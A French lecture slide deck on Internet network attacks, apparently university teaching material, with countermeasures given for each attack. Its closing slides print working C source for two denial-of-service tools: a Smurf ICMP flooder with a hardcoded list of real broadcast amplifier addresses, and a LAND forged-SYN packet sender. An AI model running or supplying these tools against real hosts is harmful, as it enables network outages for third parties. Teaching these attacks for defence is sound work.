Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

50
Attaques Internet Ahmed Serhrouchni ENST’Paris CNRS

Transcript of Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Page 1: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Attaques Internet

Ahmed Serhrouchni

ENST’Paris

CNRS

Page 2: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

2

Plan

• Introduction

– Choix protocolaires

– Implications

– Typologie

• Les attaques sur les choix d’implantation

• Les attaques sur le design des protocoles

• Les attaques sur les détournements et usurpations

• Les attaques sur les bugs des logiciels

Page 3: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Introduction.

Page 4: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

4

Choix protocolaires.

• Simple

• Léger

• Pas ou peu de contrôle

• Optimisation et confiance

Page 5: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

5

Implications.

• Les attaques sur les protocoles de communications

– exploiter les failles des protocoles IP, ICMP, TCP, UDP

• Les attaques sue les applications

– Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP

• Les attaques sur l’information

– L’écoute de données communiquées sur le réseau

– La modification des données communiquées sur le réseau

• Les attaques sur les systèmes

– Le vol de mot de passe

– L’accès aux fichiers et répertoires sans autorisation

Page 6: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

6

Typologie. (1/2)

• Quelques classifications :

– les effets : DoS (Denial of Service), intrusions, corruptions,

– les protocoles : icmp, ip, tcp, dns, …

– les systèmes d ’exploitation

Page 7: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

7

Typologie. (2/2)

• Classification selon:– Choix d’implémentation : buffer overflow, Ping of

death, land, TCP syn, Teardrop …– Conception des protocoles : Smurf:, email (bombing,

spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing …

– Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, email spoofing, dns cache poisonning, web spoofing …

– Bugs :– Volontaires (virus, cheval de troie …)– Non volontaires (netscape server …)

Page 8: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

8

Attaques - Les choix d ’implémentations Ping of Death

• Description

• Ping est basé sur icmp echo/reply

• Taille maximum d ’un paquet IP 65536 octets

• ICMP est encapsulé par IP

• L ’attaque consiste à générer des paquets ICMP de taille 65510 (8 octets pour le header icmp et 20 octets pour le header IP)

• Fragmentaton à la source, le réassemblage provoque le crash du buffer de l ’émetteur

Page 9: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

9

Attaques - Les choix d ’implémentations Ping of Death

• Effet :

• crash ou reboot de la machine

• Parade: software (patches)

Page 10: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

10

Attaques - Les choix d ’implémentationsTeardrop

• Les tailles de MTU différentes impliques la fragmentation des paquets

• Champ: identification, flags et fragment offset

• Attaque par altération du fragment offset

• Effet:

– crah de la machine

• Parade :

– patche

Page 11: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

11

Attaques - Les choix d ’implémentationsLand

• Forge des segments TCP syn avec l ’adresse source identique à l ’adresse de la machine victime

• Effet :

– crash de la machine

• Parade:

– software ou filtrage

Page 12: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

12

Attaques - Les choix d ’implémentations TCP SYN Flooding

• L ’établissement d ’une connexion s ’effectue par un three-way handshake

SYN x

SYNy, ACKx+1

ACK y+1

LISTEN

SYN_RECVD

CONNECTED

Page 13: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

13

Attaques - Les choix d ’implémentations TCP SYN Flooding

• Allocation des structures: inpcb, tcpcb

• Attente dans l ’état SYN_RECVD (75s)

• Nombre limité de connexions dans cet état

• Effet:

– perte de connectivité

• Parade :

– réduction du timer,

– augmentation du nbr. de connexions semi-ouvertes,

– désactivations des ports inutiles,

– filtrage, et proxy

Page 14: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

14

Attaques - Les choix d ’implémentations Buffer Overflow

• Attaques sur les OS multitâches (unix, WNT)

• Pour obtenir des droits d ’accès privilégiés

• Processus en exécution avec les droits suid

• Processus en mémoire: zones (code ou texte, données, pile)

• La pile est alloué de façon dynamique:– variables locales et pointeur sur l ’adresse retour après exécution

• Appel à une fonction qui fait déborder la pile• Adresse retour réécrite par ce procédé

Page 15: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

15

Attaques - Les choix d ’implémentations Buffer Overflow

• Effet :

• crash ou obtention d ’un accès privilégié

• Parades:

– vérification du remplissage des tampons,

– modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation)

– modification du noyau pour marquer la pile non exécutable

Page 16: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

16

Attaques – Le design des protocoles

• Saturation des ressources systèmes : Email-bombing/spamming, Smurf

• Saturation des ressources réseau : Smurf, UDP-bombing,

Page 17: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

17

Attaques - Le design des protocolesEmail Bombing/Spamming

• Envoi d ’un message répété à une même adresse

• Spamming variante du bombing : le message est envoyé à des centaines ou milliers d ’adresses

• Falsification de l ’adresse d ’origine

• Effets :

– congestion du réseau

– crash du serveur de messagerie

– indisponibilité des ressources physique

Page 18: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

18

Attaques - Le design des protocolesEmail Bombing/Spamming

• Effets (suite) :

– indisponibilité du serveur, des ressources physique, et de l ’entrée syslog

• Parades :

– Supervision,

– filtrage,

– proxy

Page 19: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

19

Attaques - Le design des protocoles Smurf

• Envoi de ICMP echo vers une adresse broadcast dont l ’adresse source est celle de la victime

• Effet :

– congestion du réseau intermédiaire et de la victime

• Parades :

– filtrage (au niveau des trois réseaux),

– OS: ne pas répondre pour des adresses broadcast

Page 20: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

20

Attaques - Le design des protocoles UDP bombing

• Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7)

• Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime

• Effets :

– si les deux ports sont sur la même machine les performances de celle-ci se dégradent

– si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau

Page 21: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

21

Attaques - Le design des protocoles UDP bombing

• Parades :

– filtrage de tous les services sur UDP à l ’exception du port 53 (dns)

– désactiver tous les ports udp inutiles

Page 22: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

22

Attaques - Le design des protocoles FTP bounce

• Deux ports tcp l ’un pour les commandes et l ’autre pour les données

• La commande PORT n1,n2,n3,n4,n5,n6 de ftp

• Détournement des données en changeant les paramètres ni

• Utilisé pour contourner un firewall

• Effets :

– intrusion dans un réseau

– dtournement du fltrage

Page 23: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

23

Attaques - Le design des protocoles FTP bounce

• Parades :

– Bien étudier l ’usage des serveurs ftp

– Architecture : isoler le serveur ftp

– Software: contrôler l ’usage de la commande PORT ( package wu-ftpd)

– Proxy : élimine les cdes ports ayant comme origine un service interne connu

– Authentification forte

Page 24: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

24

Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP

• Prédire le numéro de séquence initial• Etablissement d ’une connexion et mesure du

RTT pour prédire l ’ISN• Substitution d ’une adresse reconnue• Effet :

– Etablissement d ’une connexion non autorisée• Parade :

– Implémentation (un espace de numéro de séquence séparé pour chaque connexion)

– Authentification (IPsec)

Page 25: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

25

Attaques - Le design des protocoles TCP connection killing

• Envoi d ’un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu

• Effet :

– Perte de connectivité

• Parade :

– Autentification (Ipsec)

Page 26: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

26

Attaques - Les détournements et interceptions

• Ecoute du trafic (sniffing ou eavesdrpping)

• Se faire passer pour interlocuteur légitime aux niveaux:

– liaison des données (ARP spoofing)

– réseau (IP spoofing, TCP hijacking)

– applicatif (email spoofing, dns spoofing, web spoofing)

Page 27: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

27

Attaques - Les détournements et interceptions Sniffing ou eavesdropping

• Ecoute indiscrète des données sur un réseau• Sur le chemin des communicants• Attaque passive, les informations recueillis

peuvent servir pour une attaque active• Effet :

– perte de confidentialité et donc d ’information sensible (mot de passe)

• Parades :– Chiffrement (Ipsec)– Architecture de réseau

Page 28: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

28

Attaques - Les détournements et interceptions ARP spoofing

• Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l ’adresse IP

• Possibilité de prendre en compte un ARP reply sans qu’i y ait eu auparavant de ARP who is?

• ARP est sans état,l ’attaquant peu anticipé sur les requêtes

• Effets :– Perte de connectivité réseau– redirection du trafic

Page 29: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

29

Attaques - Les détournements et interceptionsICMP redirect et destination unreable

• Utilisation du message ICMP-redirect

– Un pirate envoie à une machine un ICMP-redirect lui

indiquant un autre chemin à suivre

• Utilisation du message ICMP-unreachable destination

– Un pirate peut envoyer ce message vers une machine

– La machine ne peut plus joindre ce réseau

Page 30: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

30

Attaques - Les détournements et interceptionsICMP redirect et destination unreable

• Effets :

– perte de connectivité

– déni de service

• Parades :

– filtrage

– authentification (Ipsec)

Page 31: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

31

Attaques - Les détournements et interceptions IP spoofing

• IP spoofing correspond à l ’usurpation d ’adresse IP se S par A vers D

• Détournement du trafic si A n ’est pas sur le même chemin entre S et D

• Nécessite de prédire le numéro de séquence

• Possibilité d ’utiliser :

– le routage par la source

– ICMP redirect

– protocole de routage RIP

Page 32: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

32

Attaques - Les détournements et interceptions IP spoofing

Page 33: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

33

Attaques - Les détournements et interceptions IP spoofing

• Effet :

– prendre les privilèges de S

• Parades :

– Configuration pour ICMP redirect et RIP

– Filtrage (source routing, adresse IP)

– Authentification (Ipsec)

Page 34: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

34

Attaques - Les détournements et interceptions TCP hijacking

• Connexion TCP entre S et D• A se substitue à S• Utilisation de plusieurs attaques :

– IP spoofing,– ICMP redirect,– TCP connection killing

• Effets :– détournement d ’une communication autorisée– Contourne les protections d ’authentificaion

forte de l ’utilisateur SKEY et Kerberos

Page 35: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

35

Attaques - Les détournements et interceptions TCP hijacking

• Parade :

– Authentification (Ipsec)

Page 36: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

36

Attaques - Les détournements et interceptions Email spoofing

• Absence d ’authentification

– Aucun mécanisme d ’authentification auprès des serveurs

mails, de plus vous ne savez pas qui réellement vous écrit

• Pas de garantie d ’intégrité de message

– Toute personne interceptant le message peut en modifier le

contenu

• Effets :– usurpation d ’adresse (demande de

changement d ’information sensible)– cacher son identité pour une attaque

Page 37: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

37

Attaques - Les détournements et interceptions Email spoofing

• Parades :– Architecture (utiliser un firewall comme frontal)– Empêcher toute connexion directe sur le port

SMTP par configuration du mail delivery deamon– Authentification (par signature : PGP, SSL,

S/MIME)

Page 38: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

38

Attaques - Les détournements et interceptions DNS spoofing

• Altérer directement les tables d ’un serveur de noms

• Communiquer de mauvaises cache poisoning

• Effets :– détourner le trafic vers l ’attaquant (applications

sensibles : messagerie et web)– Connexions illicites par applets

• Parades :– DNSsec une signature associée à chaque entrée

– Pour les applets java vérifier les diff. adresses

Page 39: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

39

Attaques - Les détournements et interceptions Web spoofing

• Attaque de type man in middle : le serveur de l ’attaquant détourne les requêtes HTTP de la victime

• La victime navigue dans un faux web• Initialisation de l ’attaque:

– l ’attaquant amène la victime à visiter son site (par email ou par sa figuration dans une indexation d ’un moteur de recherche)

– la victime télécharche un script java• Ce script java détourne toutes les requêtes

de la victime vers l ’attaquant

Page 40: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

40

Attaques - Les détournements et interceptions Web spoofing

• Effets :

– surveillance de l ’activité de la victime, et vol de données

– altération des données,

• Parades :

– désactivation de javascript

– proxy : repère et refuse des echanges HTTP avec réécriture des URL

Page 41: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

41

Exemples: Smurf (1/5)

#include <signal.h>#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/ip_icmp.h>#include <netdb.h>void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

Page 42: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

42

Exemples: Smurf (2/5)

char *bcastaddr[] = { "199.171.190.0", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.0", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "199.171.6.255", "207.124.104.255", "205.180.58.255", "198.3.98.0", "131.104.96.255", "143.43.32.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", "198.32.146.255", "192.41.177.0", NULL };

Page 43: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

43

Exemples: Smurf (3/5)

if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

Page 44: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

44

Exemples: Smurf (4/5)

for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); }}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize){ struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

Page 45: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

45

Exemples: Smurf (5/5)

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) +

psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) +

psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }

Page 46: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

46

Exemples: LAND (1/4)

int main(int argc,char * * argv){ struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct

iphdr)); struct pseudohdr pseudoheader;

if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }

Page 47: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

47

Exemples: LAND (2/4)

bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET;

if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); }

if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }

Page 48: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

48

Exemples: LAND (3/4)

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)

{

fprintf(stderr,"couldn't allocate raw socket\n");

return(-1);

}

bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));

ipheader->version=4;

ipheader->ihl=sizeof(struct iphdr)/4;

ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));

ipheader->id=htons(0xF1C);

ipheader->ttl=255;

ipheader->protocol=IP_TCP;

ipheader->saddr=sin.sin_addr.s_addr;

ipheader->daddr=sin.sin_addr.s_addr;

Page 49: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

49

Exemples: LAND (4/4)

tcpheader->th_sport=sin.sin_port;

tcpheader->th_dport=sin.sin_port;

tcpheader->th_seq=htonl(0xF1C);

tcpheader->th_flags=TH_SYN;

tcpheader->th_off=sizeof(struct tcphdr)/4;

tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12+sizeof(struct tcphdr));

pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.protocol=6;

pseudoheader.length=htons(sizeof(struct tcphdr));

bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));

tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in));

close(sock);

return(0);

}

Page 50: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

50

Conclusion

Questions et débat